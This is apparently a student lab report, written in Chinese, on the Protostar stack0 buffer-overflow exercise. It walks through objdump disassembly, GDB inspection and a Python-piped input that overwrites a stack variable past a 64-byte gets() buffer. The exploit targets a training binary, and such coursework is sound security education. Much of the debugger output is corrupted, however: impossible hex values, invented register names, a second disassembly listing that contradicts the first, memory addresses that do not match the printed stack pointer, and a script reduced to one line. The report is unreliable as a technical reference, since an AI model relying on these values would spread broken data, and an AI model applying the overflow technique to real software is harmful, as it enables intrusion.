

CS3312 Lab Report Stack0

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到):

```
080483f4 <main>:
080483f4:    55                push    %ebp
080483f5:    89 e5             mov     %esp,%ebp
080483f7:    83 e4 f0          and     $0xfffffffff0,%esp
080483fa:    83 ec 60          sub     $0x60,%esp
080483fd:    c7 44 24 5c 00 00 00 movl    $0x0,0x5c(%esp)
08048404:    00
08048405:    8d 44 24 1c       lea     0x1c(%esp),%eax
08048409:    89 04 24          mov     %eax,(%esp)
0804840c:    e8 fb fe ff ff   call    804830c <gets@plt>
08048411:    8b 44 24 5c       mov     0x5c(%esp),%eax
08048415:    85 c0             test    %eax,%eax
08048417:    74 0e             je      8048427 <main+0x33>
08048419:    c7 04 24 00 85 04 08 movl    $0x8048500,(%esp)
08048420:    e8 07 ff ff ff   call    804832c <puts@plt>
08048425:    eb 0c             jmp     8048433 <main+0x3f>
08048427:    c7 04 24 29 85 04 08 movl    $0x8048529,(%esp)
0804842e:    e8 f9 fe ff ff   call    804832c <puts@plt>
08048433:    c9               leave   %eax
08048434:    c3               ret
```

C语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if(modified != 0) {
        printf("you have changed the 'modified' variable\n");
    } else {
        printf("Try again?\n");
    }
}
```

这段C程序是一个典型的缓冲区溢出漏洞，

其使用 gets 函数从标准输入读取字符串，存储在 buffer 中， gets 函数不会检查输入的长度，所以可以输入超长字符串，导致缓冲区溢出。通过构造的输入，攻击者可以覆盖 modified 变量的值。

代码中可以看出，我们作为攻击者需要做的事情是让 modified 变量不等于0，这样就可以输出 you have changed the 'modified' variable 。

所以我们接下来，我们需要知道 buffer 的地址和 modified 的地址，然后通过输入超长字符串来覆盖 modified 的值。

GDB调试

通过 modified = 0 这句C代码可以很容易找到对应的汇编代码:

```
80483fd:    c7 44 24 5c 00 00 00    movl    $0x0,0x5c(%esp)
不难看出, modified变量的地址是0x5c加上寄存器esp的值。
```

接下来我们需要通过gdb, 来查看esp的值, 以及buffer的地址。

```
root@fd107c482cc9:/opt/protostar/bin# gdb ./stack0
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack0...done.
(gdb) b main
Breakpoint 1 at 0x80483fd: file stack0/stack0.c, line 10.
(gdb) []
```

添加函数main的断点，然后运行

```

Register group: general
eax 0xffffd0d8 -134681832 ecx 0x7ahdedf1 2047732323 edx 0xffff60134 -6946508
ebx 0x0 0 esp 0xffff90ba0 0x7f960ba0 ebp 0xffff60138 0xffff60108
esi 0xfffffc80 -134689472 edi 0x0 0 ebx 0x0 0 ebp 0x0 0
eflags 0x206 [ PF_SF_IF ] cs 0x23 35 ss 0x2b 43
ds 0x2b 43 es 0x2b 43 fs 0x0 0
eip 0x63 99 iopl 0x0 0 k1 0x0 0
i2 0x0 0 k3 0x0 0
i5 0x0 0 k6 0x0 0 k7 0x0 0

```

```

0x80483f4 <main>: push %ebp
0x80483f9 <main+1>: mov %esp,%ebp
0x804837f <main+3>: and $0xffffffff,%esp
0x8048319 <main+5>: sub $0x0,%esp
0x80483fd <main+9>: movl $0x0,%ecx(%esp)
0x8048485 <main+17>: lea 0x1c(%esp),%eax
0x8048489 <main+21>: mov %eax,%esp
0x804849c <main+24>: call 0x804830c <puts@plt>
0x8048411 <main+29>: mov 0x5c(%esp),%eax
0x8048415 <main+33>: test %eax,%eax
0x8048417 <main+35>: je 0x8048427 <main+51>
0x8048419 <main+37>: movl 0x00404500, (%esp)
0x8048425 <main+43>: call 0x804832c <puts@plt>
0x8048425 <main+43>: jmp 0x8048433 <main+63>
0x8048427 <main+51>: movl 0x8048529, (%esp)
0x8048429 <main+53>: call 0x804832c <puts@plt>

```

```

$ ls -la /proc/3234/in/main
(gdb) r
Starting program: /opt/protostar/bin/stack0

breakpoint 1, main (argc=1, argv=0xffff6021a4) at stack0/stack0.c:10
(gdb)

```

L10 PC: 0x80483f4

为了在接下来打印内存时更容易找到 `buffer` 的区域，并且 `buffer` 的大小就是64个Byte，我们在输入时输入64个'a'

```
(gdb) print $esp
$1 = (void *) 0xff9600a0
```

```
(gdb) x/128xb 0xffff9e00a0
0xffff9e00a0: 0xbc 0x00 0x00 0x96 0xff 0x00 0x00 0x00
0xffff9e00a8: 0x00 0x00 0x00 0x00 0x00 0xad 0x88 0x19
0xffff9e00b0: 0x07 0x00 0x00 0x00 0xb3 0x08 0x96 0xff
0xffff9e00b8: 0x79 0x46 0xdb 0xf7 0x61 0x61 0x61 0x61
0xffff9e00c0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00c8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00d0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00d8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00e0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00e8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00f0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff9e00f8: 0x61 0x61 0x61 0x61 0x00 0x00 0x00 0x00
0xffff9e0100: 0x00 0xc0 0xf5 0xf7 0x00 0xc0 0xf5 0xf7
0xffff9e0108: 0x00 0x00 0x00 0x00 0xa1 0xcf 0xd9 0xf7
0xffff9e0110: 0x01 0x00 0x00 0x00 0xa4 0x01 0x96 0xff
0xffff9e0118: 0xac 0x01 0x96 0xff 0x34 0x01 0x96 0xff
```

于是我们只要输入64个字符后，再输入1个字符，就可以覆盖 `modified` 的值。

内容如下，64个'a'再加上1个'1'

script_stack0.py:

```
print input
```

```
(python script_stack0.py) | ./stack0
```

```
root@protostar:/opt/protostar/bin# (python script_stack0.py) | ./stack0
you have changed the 'modified' variable
root@protostar:/opt/protostar/bin#
```